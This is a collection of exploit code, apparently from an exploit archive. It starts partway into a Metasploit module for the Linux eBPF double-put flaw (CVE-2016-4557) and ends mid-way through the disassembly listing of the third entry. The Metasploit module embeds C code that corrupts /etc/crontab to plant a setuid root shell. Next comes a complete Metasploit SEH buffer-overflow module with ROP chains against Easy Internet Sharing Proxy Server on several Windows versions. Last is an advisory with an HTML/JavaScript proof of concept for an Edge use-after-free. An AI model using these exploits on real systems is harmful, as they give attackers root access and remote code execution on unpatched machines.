        print_error('CONFIG_BPF_SYSCALL is NOT set to yes')
        return false
      end
    end

    def check_kernel_disabled?()
      output = cmd_exec('sysctl kernel.unprivileged_bpf_disabled')
      if output != 'kernel.unprivileged_bpf_disabled = 1'
        vprint_good('kernel.unprivileged_bpf_disabled is NOT set to 1')
        return true
      else
        print_error('kernel.unprivileged_bpf_disabled is set to 1')
        return false
      end
    end

    def check_fuse?()
      lib = cmd_exec('dpkg --get-selections | grep ^fuse')
      if lib.include?('install')
        vprint_good('fuse is installed')
        return true
      else
        print_error('fuse is not installed.  Exploitation will fail.')
        return false
      end
    end

    def mount_point_exists?()
      if directory?('/tmp/fuse_mount')
        print_error('/tmp/fuse_mount should be unmounted and deleted.  Exploitation will fail.')
        return false
      else
        vprint_good('/tmp/fuse_mount doesn\'t exist')
        return true
      end
    end

    if check_config_bpf_syscall?() && check_kernel_disabled?() && check_fuse?() && mount_point_exists?()
      CheckCode::Appears
    else
      CheckCode::Safe
    end
  end

  def exploit

    def upload_and_compile(filename, file_path, file_content, compile=nil)
      rm_f "#{file_path}"
      if not compile.nil?
        rm_f "#{file_path}.c"
        vprint_status("Writing #{filename} to #{file_path}.c")
        write_file("#{file_path}.c", file_content)
        register_file_for_cleanup("#{file_path}.c")
        output = cmd_exec(compile)
        if output != ''
          print_error(output)
          fail_with(Failure::Unknown, "#{filename} at #{file_path}.c failed to compile")
        end
      else
        vprint_status("Writing #{filename} to #{file_path}")
        write_file(file_path, file_content)
      end
      cmd_exec("chmod +x #{file_path}");
      register_file_for_cleanup(file_path)
    end

    doubleput = %q{
      #define _GNU_SOURCE
      #include <stdbool.h>
      #include <errno.h>
      #include <err.h>
      #include <unistd.h>
      #include <fcntl.h>
      #include <sched.h>
      #include <signal.h>
      #include <stdlib.h>
      #include <stdio.h>
      #include <string.h>
      #include <sys/types.h>
      #include <sys/stat.h>
      #include <sys/syscall.h>
      #include <sys/prctl.h>
      #include <sys/uio.h>
      #include <sys/mman.h>
      #include <sys/wait.h>
      #include <linux/bpf.h>
      #include <linux/kcmp.h>

      #ifndef __NR_bpf
      # if defined(__i386__)
      #  define __NR_bpf 357
      # elif defined(__x86_64__)
      #  define __NR_bpf 321
      # elif defined(__aarch64__)
      #  define __NR_bpf 280
      # else
      #  error
      # endif
      #endif

      int uaf_fd;

      int task_b(void *p) {
        /* step 2: start writev with slow IOV, raising the refcount to 2 */
        char *cwd = get_current_dir_name();
        char data[2048];
        sprintf(data, "* * * * * root /bin/chown root:root '%s'/suidhelper; /bin/chmod 06755 '%s'/suidhelper\n#", cwd, cwd);
        struct iovec iov = { .iov_base = data, .iov_len = strlen(data) };
        if (system("fusermount -u /home/user/ebpf_mapfd_doubleput/fuse_mount 2>/dev/null; mkdir -p fuse_mount && ./hello ./fuse_mount"))
          errx(1, "system() failed");
        int fuse_fd = open("fuse_mount/hello", O_RDWR);
        if (fuse_fd == -1)
          err(1, "unable to open FUSE fd");
        if (write(fuse_fd, &iov, sizeof(iov)) != sizeof(iov))
          errx(1, "unable to write to FUSE fd");
        struct iovec *iov_ = mmap(NULL, sizeof(iov), PROT_READ, MAP_SHARED, fuse_fd, 0);
        if (iov_ == MAP_FAILED)
          err(1, "unable to mmap FUSE fd");
        fputs("starting writev\n", stderr);
        ssize_t writev_res = writev(uaf_fd, iov_, 1);
        /* ... and starting inside the previous line, also step 6: continue writev with slow IOV */
        if (writev_res == -1)
          err(1, "writev failed");
        if (writev_res != strlen(data))
          errx(1, "writev returned %d", (int)writev_res);
        fputs("writev returned successfully. if this worked, you'll have a root shell in <=60 seconds.\n", stderr);
        while (1) sleep(1); /* whatever, just don't crash */
      }

      void make_setuid(void) {
        /* step 1: open writable UAF fd */
        uaf_fd = open("/dev/null", O_WRONLY|O_CLOEXEC);
        if (uaf_fd == -1)
          err(1, "unable to open UAF fd");
        /* refcount is now 1 */

        char child_stack[20000];
        int child = clone(task_b, child_stack + sizeof(child_stack), CLONE_FILES | SIGCHLD, NULL);
        if (child == -1)
          err(1, "clone");
        sleep(3);
        /* refcount is now 2 */

        /* step 2+3: use BPF to remove two references */
        for (int i=0; i<2; i++) {
          struct bpf_insn insns[2] = {
            {
              .code = BPF_LD | BPF_IMM | BPF_DW,
              .src_reg = BPF_PSEUDO_MAP_FD,
              .imm = uaf_fd
            },
            {
            }
          };
          union bpf_attr attr = {
            .prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
            .insn_cnt = 2,
            .insns = (__aligned_u64) insns,
            .license = (__aligned_u64)""
          };
          if (syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr)) != -1)
            errx(1, "expected BPF_PROG_LOAD to fail, but it didn't");
          if (errno != EINVAL)
            err(1, "expected BPF_PROG_LOAD to fail with -EINVAL, got different error");
        }
        /* refcount is now 0, the file is freed soon-ish */

        /* step 5: open a bunch of readonly file descriptors to the target file until we hit the same pointer */
        int status;
        int hostnamefds[1000];
        int used_fds = 0;
        bool up = true;
        while (1) {
          if (waitpid(child, &status, WNOHANG) == child)
            errx(1, "child quit before we got a good file*");
          if (up) {
            hostnamefds[used_fds] = open("/etc/crontab", O_RDONLY);
            if (hostnamefds[used_fds] == -1)
              err(1, "open target file");
            if (syscall(__NR_kcmp, getpid(), getpid(), KCMP_FILE, uaf_fd, hostnamefds[used_fds]) == 0) break;
            used_fds++;
            if (used_fds == 1000) up = false;
          } else {
            close(hostnamefds[--used_fds]);
            if (used_fds == 0) up = true;
          }
        }
        fputs("woohoo, got pointer reuse\n", stderr);
        while (1) sleep(1); /* whatever, just don't crash */
      }

      int main(void) {
        pid_t child = fork();
        if (child == -1)
          err(1, "fork");
        if (child == 0)
          make_setuid();
        struct stat helperstat;
        while (1) {
          if (stat("suidhelper", &helperstat))
            err(1, "stat suidhelper");
          if (helperstat.st_mode & S_ISUID)
            break;
          sleep(1);
        }
        fputs("suid file detected, launching rootshell...\n", stderr);
        execl("./suidhelper", "suidhelper", NULL);
        err(1, "execl suidhelper");
      }
    }

    suid_helper = %q{
      #include <unistd.h>
      #include <err.h>
      #include <stdio.h>
      #include <sys/types.h>

      int main(void) {
        if (setuid(0) || setgid(0))
          err(1, "setuid/setgid");
        fputs("we have root privs now...\n", stderr);
        execl("/bin/bash", "bash", NULL);
        err(1, "execl");
      }

    }

    hello = %q{
      /*
        FUSE: Filesystem in Userspace
        Copyright (C) 2001-2007  Miklos Szeredi <miklos@szeredi.hu>
        heavily modified by Jann Horn <jannh@google.com>

        This program can be distributed under the terms of the GNU GPL.
        See the file COPYING.

        gcc -Wall hello.c `pkg-config fuse --cflags --libs` -o hello
      */

      #define FUSE_USE_VERSION 26

      #include <fuse.h>
      #include <stdio.h>
      #include <string.h>
      #include <errno.h>
      #include <fcntl.h>
      #include <unistd.h>
      #include <err.h>
      #include <sys/uio.h>

      static const char *hello_path = "/hello";

      static char data_state[sizeof(struct iovec)];

      static int hello_getattr(const char *path, struct stat *stbuf)
      {
        int res = 0;
        memset(stbuf, 0, sizeof(struct stat));
        if (strcmp(path, "/") == 0) {
          stbuf->st_mode = S_IFDIR | 0755;
          stbuf->st_nlink = 2;
        } else if (strcmp(path, hello_path) == 0) {
          stbuf->st_mode = S_IFREG | 0666;
          stbuf->st_nlink = 1;
          stbuf->st_size = sizeof(data_state);
          stbuf->st_blocks = 0;
        } else
          res = -ENOENT;
        return res;
      }

      static int hello_readdir(const char *path, void *buf, fuse_fill_dir_t filler, off_t offset, struct fuse_file_info *fi) {
        filler(buf, ".", NULL, 0);
        filler(buf, "..", NULL, 0);
        filler(buf, hello_path + 1, NULL, 0);
        return 0;
      }

      static int hello_open(const char *path, struct fuse_file_info *fi) {
        return 0;
      }

      static int hello_read(const char *path, char *buf, size_t size, off_t offset, struct fuse_file_info *fi) {
        sleep(10);
        size_t len = sizeof(data_state);
        if (offset < len) {
          if (offset + size > len)
            size = len - offset;
          memcpy(buf, data_state + offset, size);
        } else
          size = 0;
        return size;
      }

      static int hello_write(const char *path, const char *buf, size_t size, off_t offset, struct fuse_file_info *fi) {
        if (offset != 0)
          errx(1, "got write with nonzero offset");
        if (size != sizeof(data_state))
          errx(1, "got write with size %d", (int)size);
        memcpy(data_state + offset, buf, size);
        return size;
      }

      static struct fuse_operations hello_oper = {
        .getattr	= hello_getattr,
        .readdir	= hello_readdir,
        .open		= hello_open,
        .read		= hello_read,
        .write		= hello_write,
      };

      int main(int argc, char *argv[]) {
        return fuse_main(argc, argv, &hello_oper, NULL);
      }
    }

    hello_filename = 'hello'
    hello_path = "#{datastore['WritableDir']}/#{hello_filename}"
    doubleput_file = "#{datastore['WritableDir']}/doubleput"
    suidhelper_filename = 'suidhelper'
    suidhelper_path = "#{datastore['WritableDir']}/#{suidhelper_filename}"
    payload_filename = rand_text_alpha(8)
    payload_path = "#{datastore['WritableDir']}/#{payload_filename}"

    if check != CheckCode::Appears
      fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!')
    end

    def has_prereqs?()
      def check_libfuse_dev?()
        lib = cmd_exec('dpkg --get-selections | grep libfuse-dev')
        if lib.include?('install')
          vprint_good('libfuse-dev is installed')
          return true
        else
          print_error('libfuse-dev is not installed.  Compiling will fail.')
          return false
        end
      end
      def check_gcc?()
        gcc = cmd_exec('which gcc')
        if gcc.include?('gcc')
          vprint_good('gcc is installed')
          return true
        else
          print_error('gcc is not installed.  Compiling will fail.')
          return false
        end
      end
      def check_pkgconfig?()
        lib = cmd_exec('dpkg --get-selections | grep ^pkg-config')
        if lib.include?('install')
          vprint_good('pkg-config is installed')
          return true
        else
          print_error('pkg-config is not installed.  Exploitation will fail.')
          return false
        end
      end
      return check_libfuse_dev?() && check_gcc?() && check_pkgconfig?()
    end

    compile = false
    if datastore['COMPILE'] == 'Auto' || datastore['COMPILE'] == 'True'
      if has_prereqs?()
        compile = true
        vprint_status('Live compiling exploit on system')
      else
        vprint_status('Dropping pre-compiled exploit on system')
      end
    end

    if compile == false
      # doubleput file
      path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2016-4557', 'doubleput')
      fd = ::File.open( path, "rb")
      doubleput = fd.read(fd.stat.size)
      fd.close
      # hello file
      path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2016-4557', 'hello')
      fd = ::File.open( path, "rb")
      hello = fd.read(fd.stat.size)
      fd.close
      # suidhelper file
      path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2016-4557', 'suidhelper')
      fd = ::File.open( path, "rb")
      suid_helper = fd.read(fd.stat.size)
      fd.close

      # overwrite with the hardcoded variable names in the compiled versions
      payload_filename = 'AyDJSaMM'
      payload_path = '/tmp/AyDJSaMM'
    end

    # make our substitutions so things are dynamic
    suid_helper.gsub!(/execl\("\/bin\/bash", "bash", NULL\);/,
               "return execl(\"#{payload_path}\", \"\", NULL);") #launch our payload, and do it in a return to not freeze the executable
    doubleput.gsub!(/execl\(".\/suidhelper", "suidhelper", NULL\);/,
                'exit(0);')
    print_status('Writing files to target')
    cmd_exec("cd #{datastore['WritableDir']}")
    upload_and_compile('hello', hello_path, hello, compile ? "gcc -o #{hello_filename} #{hello_filename}.c -Wall -std=gnu99 `pkg-config fuse --cflags --libs`" : nil)
    upload_and_compile('doubleput', doubleput_file, doubleput, compile ? "gcc -o #{doubleput_file} #{doubleput_file}.c -Wall" : nil)
    upload_and_compile('suidhelper', suidhelper_path, suid_helper, compile ? "gcc -o #{suidhelper_filename} #{suidhelper_filename}.c -Wall" : nil)
    upload_and_compile('payload', payload_path, generate_payload_exe)

    print_status('Starting execution of priv esc.  This may take about 120 seconds')

    cmd_exec(doubleput_file)
    sec_waited = 0
    until sec_waited > datastore['MAXWAIT'] do
      Rex.sleep(1)
      # check file permissions
      if cmd_exec("ls -lah #{suidhelper_path}").include?('-rwsr-sr-x 1 root root')
        print_good('got root, starting payload')
        print_error('This exploit may require process killing of \'hello\', and \'doubleput\' on the target')
        print_error('This exploit may require manual umounting of /tmp/fuse_mount via \'fusermount -z -u /tmp/fuse_mount\' on the target')
        print_error('This exploit may require manual deletion of /tmp/fuse_mount via \'rm -rf /tmp/fuse_mount\' on the target')
        cmd_exec("#{suidhelper_path}")
        return
      end
      sec_waited +=1
    end
  end

  def on_new_session(session)
    # if we don't /bin/bash here, our payload times out
    # [*] Meterpreter session 2 opened (192.168.199.131:4444 -> 192.168.199.130:37022) at 2016-09-27 14:15:04 -0400
    # [*] 192.168.199.130 - Meterpreter session 2 closed.  Reason: Died
    session.shell_command_token('/bin/bash')
    super
  end
end
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Easy Internet Sharing Proxy Server 2.2 SEH buffer Overflow',
      'Description'    => %q{
        This module exploits a SEH buffer overflow in the Easy Internet Sharing Proxy Socks Server 2.2
      },
      'Platform'       => 'win',
      'Author'         =>
        [
          'tracyturben[at]gmail.com'
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ %w{URL http://www.sharing-file.com/products.htm}]
        ],
      'Privileged'     => false,

      'Payload'        =>
        {
          'Space'           => 836,
          'BadChars' => '\x90\x3b\x0d\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c',
          'StackAdjustment' => -3500,
        },
      'Targets'=>
        [
          [ 'Windows 10 32bit', { 'Ret' => 0x0043AD2C,'Offset' => 836,'Nops' => 44 } ],
          [ 'Windows 8.1 32bit SP1', { 'Ret' => 0x0043AD30,'Offset' => 908 } ],
          [ 'Windows 7 32bit SP1', { 'Ret' => 0x0043AD38,'Offset' => 884 } ],
          [ 'Windows Vista 32bit SP2 ', { 'Ret' => 0x0043AD38,'Offset' => 864 } ]
        ],
      'DefaultOptions'=>{
      'RPORT'=> 1080,
      'EXITFUNC'=> 'thread'
        },
      'DisclosureDate' => 'Nov 10 2016',
      'DefaultTarget'=> 0))
end

  def exploit
    connect
    rop_gadgets =''

    if target.name =~ /Vista 32bit/

     print_good("Building Windows Vista Rop Chain")
     rop_gadgets =
     [
      0x0043fb03,
      0x0043fb03,
      0x0043fb03,
      0x0043fb03,
      0x0043fb03,
      0x00454559,  # POP EAX # RETN [easyproxy.exe]
      0x00489210,  # ptr to &VirtualAlloc() [IAT easyproxy.exe]
      0x00462589,  # MOV EAX,DWORD PTR DS:[EAX] # RETN [easyproxy.exe]
      0x004768eb,  # PUSH EAX # POP ESI # RETN 0x04 [easyproxy.exe]
      0x004543b2,  # POP EBP # RETN [easyproxy.exe]
      0x41414141,  # Filler (RETN offset compensation)
      0x00417771,  # & push esp # ret 0x1C [easyproxy.exe]
      0x0046764d,  # POP EBX # RETN [easyproxy.exe]
      0x00000001,  # 0x00000001-> ebx
      0x004532e5,  # POP EBX # RETN [easyproxy.exe]
      0x00001000,  # 0x00001000-> edx
      0x0045a4ec,  # XOR EDX,EDX # RETN [easyproxy.exe]
      0x0045276e,  # ADD EDX,EBX # POP EBX # RETN 0x10 [easyproxy.exe]
      0x00000001,  # size
      0x00486fac,  # POP ECX # RETN [easyproxy.exe]
      0x41414141,  # Filler (RETN offset compensation)
      0x41414141,  # Filler (RETN offset compensation
      0x41414141,  # Filler (RETN offset compensation)
      0x41414141,  # Filler (RETN offset compensation)
      0x00000040,  # 0x00000040-> ecx
      0x0044fc45,  # POP EDI # RETN [easyproxy.exe]
      0x0043fb03,  # RETN (ROP NOP) [easyproxy.exe]
      0x0045460d,  # POP EAX # RETN [easyproxy.exe]
      0x90909090,  # nop
      0x0047d30f,  # PUSHAD # ADD AL,0 # RETN [easyproxy.exe]
   ].flatten.pack('V*')

   print_good('Building Exploit...')
   sploit = "\x90" *46
   sploit << rop_gadgets
   sploit << payload.encoded
   sploit << rand_text_alpha(target['Offset'] - payload.encoded.length)
   sploit << generate_seh_record(target.ret)
   print_good('Sending exploit...')
   sock.put(sploit)

   print_good('Exploit Sent...')

   handler

   disconnect
end

   if target.name =~ /7 32bit/


    print_good('Building Windows 7 Rop Chain')

    rop_gadgets =
    [
      0x0043fb03,  # RETN (ROP NOP) [easyproxy.exe]
      0x0043fb03,  # RETN (ROP NOP) [easyproxy.exe]
      0x0043fb03,  # RETN (ROP NOP) [easyproxy.exe]
      0x0043fb03,  # RETN (ROP NOP) [easyproxy.exe]
      0x0043fb03,  # RETN (ROP NOP) [easyproxy.exe]
      0x0047da72,  # POP EAX # RETN [easyproxy.exe]
      0x00489210,  # ptr to &VirtualAlloc() [IAT easyproxy.exe]
      0x004510a3,  # MOV EAX,DWORD PTR DS:[EAX] # RETN [easyproxy.exe]
      0x004768eb,  # PUSH EAX # POP ESI # RETN 0x04 [easyproxy.exe]
      0x00450e40,  # POP EBP # RETN [easyproxy.exe]
      0x41414141,  # Filler (RETN offset compensation)
      0x00417865,  # & push esp # ret 0x1C [easyproxy.exe]
      0x0046934a,  # POP EBX # RETN [easyproxy.exe]
      0x00000001,  # 0x00000001-> ebx
      0x0045a5b4,  # POP EBX # RETN [easyproxy.exe]
      0x00001000,  # 0x00001000-> edx
      0x0045a4ec,  # XOR EDX,EDX # RETN [easyproxy.exe]
      0x0045276e,  # ADD EDX,EBX # POP EBX # RETN 0x10 [easyproxy.exe]
      0x00000001,  # size
      0x0047a3bf,  # POP ECX # RETN [easyproxy.exe]
      0x41414141,  # Filler (RETN offset compensation)
      0x41414141,  # Filler (RETN offset compensation)
      0x41414141,  # Filler (RETN offset compensation)
      0x41414141,  # Filler (RETN offset compensation)
      0x00000040,  # 0x00000040-> ecx
      0x00453ce6,  # POP EDI # RETN [easyproxy.exe]
      0x0043fb03,  # RETN (ROP NOP) [easyproxy.exe]
      0x00478ecd,  # POP EAX # RETN [easyproxy.exe]
      0x90909090,  # nop
      0x0047d30f,  # PUSHAD # ADD AL,0 # RETN [easyproxy.exe]
    ].flatten.pack('V*')

    print_good('Building Exploit...')
    sploit = "\x90" *26
    sploit << rop_gadgets
    sploit << payload.encoded
    sploit << rand_text_alpha(target['Offset'] - payload.encoded.length)
    sploit << generate_seh_record(target.ret)
    print_good('Sending exploit...')
    sock.put(sploit)

    print_good('Exploit Sent...')
    sleep(5)
    handler

    disconnect

end

   if target.name =~ /8.1 32bit/

    print_good('Building Windows 8 Rop Chain')

    rop_gadgets =
    [
      0x0043fb03,  # RETN (ROP NOP) [easyproxy.exe]
      0x0043fb03,  # RETN (ROP NOP) [easyproxy.exe]
      0x0043fb03,  # RETN (ROP NOP) [easyproxy.exe]
      0x0043fb03,  # RETN (ROP NOP) [easyproxy.exe]
      0x0043fb03,  # RETN (ROP NOP) [easyproxy.exe]
      0x0047da72,  # POP EAX # RETN [easyproxy.exe]
      0x00489210,  # ptr to &VirtualAlloc() [IAT easyproxy.exe]
      0x004510a3,  # MOV EAX,DWORD PTR DS:[EAX] # RETN [easyproxy.exe]
      0x004768eb,  # PUSH EAX # POP ESI # RETN 0x04 [easyproxy.exe]
      0x00450e40,  # POP EBP # RETN [easyproxy.exe]
      0x41414141,  # Filler (RETN offset compensation)
      0x00417865,  # & push esp # ret 0x1C [easyproxy.exe]
      0x0046934a,  # POP EBX # RETN [easyproxy.exe]
      0x00000001,  # 0x00000001-> ebx
      0x0045a5b4,  # POP EBX # RETN [easyproxy.exe]
      0x00001000,  # 0x00001000-> edx
      0x0045a4ec,  # XOR EDX,EDX # RETN [easyproxy.exe]
      0x0045276e,  # ADD EDX,EBX # POP EBX # RETN 0x10 [easyproxy.exe]
      0x00000001,  # size
      0x0047a3bf,  # POP ECX # RETN [easyproxy.exe]
      0x41414141,  # Filler (RETN offset compensation)
      0x41414141,  # Filler (RETN offset compensation)
      0x41414141,  # Filler (RETN offset compensation)
      0x41414141,  # Filler (RETN offset compensation)
      0x00000040,  # 0x00000040-> ecx
      0x00453ce6,  # POP EDI # RETN [easyproxy.exe]
      0x0043fb03,  # RETN (ROP NOP) [easyproxy.exe]
      0x00478ecd,  # POP EAX # RETN [easyproxy.exe]
      0x90909090,  # nop
      0x0047d30f,  # PUSHAD # ADD AL,0 # RETN [easyproxy.exe]

    ].flatten.pack('V*')

    print_good('Building Exploit...')
    sploit = "\x90" *2
    sploit << rop_gadgets
    sploit << payload.encoded
    sploit << rand_text_alpha(target['Offset'] - payload.encoded.length)
    sploit << generate_seh_record(target.ret)
    print_good('Sending exploit...')
    sock.put(sploit)
    print_good('Exploit Sent...')
    handler

    disconnect


end

    if target.name =~ /10 32bit/



    print_good('Building Windows 10 Rop Chain')

    rop_gadgets =
    [
      0x0043fb03,  # RETN (ROP NOP) [easyproxy.exe]
      0x0043fb03,  # RETN (ROP NOP) [easyproxy.exe]
      0x0043fb03,  # RETN (ROP NOP) [easyproxy.exe]
      0x0043fb03,  # RETN (ROP NOP) [easyproxy.exe]
      0x0043fb03,  # RETN (ROP NOP) [easyproxy.exe]
      0x0047f1de,  # POP EBX # RETN [easyproxy.exe]
      0x00489210,  # ptr to &VirtualAlloc() [IAT easyproxy.exe]
      0x0045a4ec,  # XOR EDX,EDX # RETN [easyproxy.exe]
      0x0045276e,  # ADD EDX,EBX # POP EBX # RETN 0x10 [easyproxy.exe]
      0x41414141,  # Filler (compensate)
      0x00438d30,  # MOV EAX,DWORD PTR DS:[EDX] # RETN [easyproxy.exe]
      0x41414141,  # Filler (RETN offset compensation)
      0x41414141,  # Filler (RETN offset compensation)
      0x41414141,  # Filler (RETN offset compensation)
      0x41414141,  # Filler (RETN offset compensation)
      0x004768eb,  # PUSH EAX # POP ESI # RETN 0x04 [easyproxy.exe]
      0x004676b0,  # POP EBP # RETN [easyproxy.exe]
      0x41414141,  # Filler (RETN offset compensation)
      0x00417771,  # & push esp # ret 0x1C [easyproxy.exe]
      0x0046bf38,  # POP EBX # RETN [easyproxy.exe]
      0x00000001,  # 0x00000001-> ebx
      0x00481477,  # POP EBX # RETN [easyproxy.exe]
      0x00001000,  # 0x00001000-> edx
      0x0045a4ec,  # XOR EDX,EDX # RETN [easyproxy.exe]
      0x0045276e,  # ADD EDX,EBX # POP EBX # RETN 0x10 [easyproxy.exe]
      0x00000001,  # Filler (compensate)
      0x00488098,  # POP ECX # RETN [easyproxy.exe]
      0x41414141,  # Filler (RETN offset compensation)
      0x41414141,  # Filler (RETN offset compensation)
      0x41414141,  # Filler (RETN offset compensation)
      0x41414141,  # Filler (RETN offset compensation)
      0x00000040,  # 0x00000040-> ecx
      0x0044ca38,  # POP EDI # RETN [easyproxy.exe]
      0x0043fb03,  # RETN (ROP NOP) [easyproxy.exe]
      0x00454559,  # POP EAX # RETN [easyproxy.exe]
      0x90909090,  # nop
      0x0047d30f,  # PUSHAD # ADD AL,0 # RETN [easyproxy.exe]
    ].flatten.pack('V*')

    print_good('Building Exploit...')
    sploit = "\x90" *2
    sploit << rop_gadgets
    sploit << payload.encoded
    sploit << make_nops(target['Nops'])
    sploit << rand_text_alpha(target['Offset'] - payload.encoded.length)
    sploit << generate_seh_record(target.ret)
    print_good('Sending exploit...')
    sock.put(sploit)

    print_good('Exploit Sent...')

    handler


    disconnect

  end
 end
end
            
<!--
Source: http://blog.skylined.nl/20161115001.html

Synopsis

A specially crafted web-page can cause Microsoft Edge to free memory used for a CAttr­Array object. The code continues to use the data in freed memory block immediately after freeing it. It does not appear that there is enough time between the free and reuse to exploit this issue.

Known affected software and attack vectors

Microsoft Edge 11.0.10240.16384

An attacker would need to get a target user to open a specially crafted web-page. Java­Script is not necessarily required to trigger the issue.

Repro

<x style="
  background-image: inherit;
  text-decoration: line-through;
  height: 0;
  width: 0;
  top: 0;
  left: 0;
  right: 0;
  bottom: 0;
  font: menu;">

Alternatively:

<body id=x style=margin:5 onload=x.style.remove­Property("margin")>

Description

When an element is created and style properties are added, these are stored in a CAttr­Array object. A new CAttr­Array is able to store up to 8 properties. If more properties need to be stored, the code will allocate memory for a larger CAttr­Array and copy the existing properties into this new object before freeing the old memory. The code will then continue to use the freed memory almost immediately. In the first repro, the "font" style property is the ninth property and triggers this issue. In the second repro, the only property of a CAttr­Array is removed, at which point it is freed but no new object is allocated. However, the code follows the same path and also reuses the freed memory.

Exploit

What little investigation I did appears to indicate that there is no way to reallocate the freed memory before its reuse. It is therefore probably not possible to exploit this issue that way. I did not investigate how the freed memory is used by the code exactly, and I did not look into other methods to exploit the issue. I did create a second repro that triggers the issue "on-demand" from Javascript but, as is to be expected, no Javascript is executed between the free and the re-use.
-->

<x id=x style="background-image: inherit;text-decoration: line-through;height: 0;width: 0;top: 0;left: 0;right: 0;bottom: 0;"><script>
  window.onload = function () {
    // This Po­C attempts to exploit a use-after-free bug in Microsoft Edge
    // See http://blog.skylined.nl/20161115001.html for details.
    // The CAttr­Array is full, adding another style property will cause Edge to
    // allocate a larger CAttr­Array, copy everything and free the old one.
    // The old one then continues to be used almost immediately:
    x.style.set­Property("font", "menu");
    // This work by Sky­Lined is licensed under a Creative Commons
    // Attribution-Non-Commercial 4.0 International License. 
  };
</script>

<!--
The code

Below you can find an annotated disassembly for the CAttr­Array::Destroy function, which calls CAttr­Array::Set (in which the memory is freed) before looping and re-using the memory. This loop shows there is very little time between the two events in which to reallocate the memory and attempt to control its contents. There also does not appear to be much this function can be made to do if the memory could be controlled.

EDGEHTML!CAttr­Array::Destroy:
6175024f 8bff            mov     edi,edi
61750251 55              push    ebp
61750252 8bec            mov     ebp,esp
61750254 83e4f8          and     esp,0FFFFFFF8h
61750257 83ec2c          sub     esp,2Ch
6175025a 8b510c          mov     edx,dword ptr [ecx+0Ch]
6175025d 8bc2            mov     eax,edx
6175025f 53              push    ebx
61750260 d1e8            shr     eax,1
61750262 894c240c        mov     dword ptr [esp+0Ch],ecx
61750266 56              push    esi
61750267 57              push    edi
61750268 a801            test    al,1
6175026a 0f85b56f3600    jne     EDGEHTML!CAttr­Array::Destroy+0x366fd6 (61ab7225)
{
  61ab7225 cc              int     3
  61ab7226 e94590c9ff      jmp     EDGEHTML!CAttr­Array::Destroy+0x21 (61750270)
}
61750270 8b5d08          mov     ebx,dword ptr [ebp+8]
61750273 8d7c2428        lea     edi,[esp+28h]
61750277 c1e304          shl     ebx,4
6175027a 035908          add     ebx,dword ptr [ecx+8]
6175027d 8bf3            mov     esi,ebx
6175027f 803b04          cmp     byte ptr [ebx],4
61750282 a5              movs    dword ptr es:[edi],dword ptr [esi]
61750283 a5              movs    dword ptr es:[edi],dword ptr [esi]
61750284 a5              movs    dword ptr es:[edi],dword ptr [esi]
61750285 a5              movs    dword ptr es:[edi],dword ptr [esi]
61750286 752d            jne     EDGEHTML!CAttr­Array::Destroy+0x66 (617502b5)
{
  617502b5 8bcb            mov     ecx,ebx
  617502b7 e870e4ffff      call    EDGEHTML!CAttr­Value::Get­DISPID (6174e72c)
  617502bc 8b742414        mov     esi,dword ptr [esp+14h]
  617502c0 8bca            mov     ecx,edx
  617502c2 c1e004          shl     eax,4
  617502c5 83e20f          and     edx,0Fh
  617502c8 2bc8            sub     ecx,eax
  617502ca 83e1f0          and     ecx,0FFFFFFF0h
  617502cd 0bca            or      ecx,edx
  617502cf 894e0c          mov     dword ptr [esi+0Ch],ecx
  617502d2 0fb74302        movzx   eax,word ptr [ebx+2]
  617502d6 a808            test    al,8
  617502d8 752c            jne     EDGEHTML!CAttr­Array::Destroy+0xb7 (61750306)
  {
    617502da 8b560c          mov     edx,dword ptr [esi+0Ch]                      ;<--------------.
    617502dd f6c208          test    dl,8                                         ;                \
    617502e0 0f95c1          setne   cl                                           ;                |
    617502e3 f6430201        test    byte ptr [ebx+2],1                           ; REUSE          |
    617502e7 0f95c0          setne   al                                           ;                |
    617502ea 84c8            test    al,cl                                        ;                |
    617502ec 8bce            mov     ecx,esi                                      ;                |
    617502ee 7498            je      EDGEHTML!CAttr­Array::Destroy+0x39 (61750288) ; >----,         |
    617502f0 b301            mov     bl,1                                         ;      |         |
    617502f2 eb96            jmp     EDGEHTML!CAttr­Array::Destroy+0x3b (6175028a) ; >--- | --.     |
  }                                                                               ;      |   |     |
  61750306 803b09          cmp     byte ptr [ebx],9                               ;      |   |    /|
  61750309 74cf            je      EDGEHTML!CAttr­Array::Destroy+0x8b (617502da)   ; >--- | - | --' |
  6175030b 8d442418        lea     eax,[esp+18h]                                  ;      |   |     |
  6175030f 8bcb            mov     ecx,ebx                                        ;      |   |     |
  61750311 50              push    eax                                            ;      |   |     |
  61750312 e89efeffff      call    EDGEHTML!CAttr­Value::Get­As­Variant­NC (617501b5) ;      |   |     |
  61750317 0fb74b02        movzx   ecx,word ptr [ebx+2]                           ;      |   |     |
  6175031b 81e1efff0000    and     ecx,0FFEFh                                     ;      |   |     |
  61750321 f6430380        test    byte ptr [ebx+3],80h                           ;      |   |     |
  61750325 7526            jne     EDGEHTML!CAttr­Array::Destroy+0xfe (6175034d)   ;      |   |     |
  {                                                                               ;      |   |     |
    6175034d 33c0            xor     eax,eax                                      ;      V   V     ^
    6175034f ebd9            jmp     EDGEHTML!CAttr­Array::Destroy+0xdb (6175032a) ;      |   |     |
  } else {                                                                        ;      |   |     |
    61750327 8b4304          mov     eax,dword ptr [ebx+4]                        ;      |   |     |
  }                                                                               ;      |   |     |
  6175032a 6a01            push    1                                              ;      |   |     |
  6175032c 6a01            push    1                                              ;      |   |     |
  6175032e 51              push    ecx                                            ;      |   |     |
  6175032f 6a09            push    9                                              ;      |   |     |
  61750331 8d4c2428        lea     ecx,[esp+28h]                                  ;      |   |     |
  61750335 51              push    ecx                                            ;      |   |     |
  61750336 50              push    eax                                            ;      |   |     |
  61750337 8bcb            mov     ecx,ebx                                        ;      |   |     |
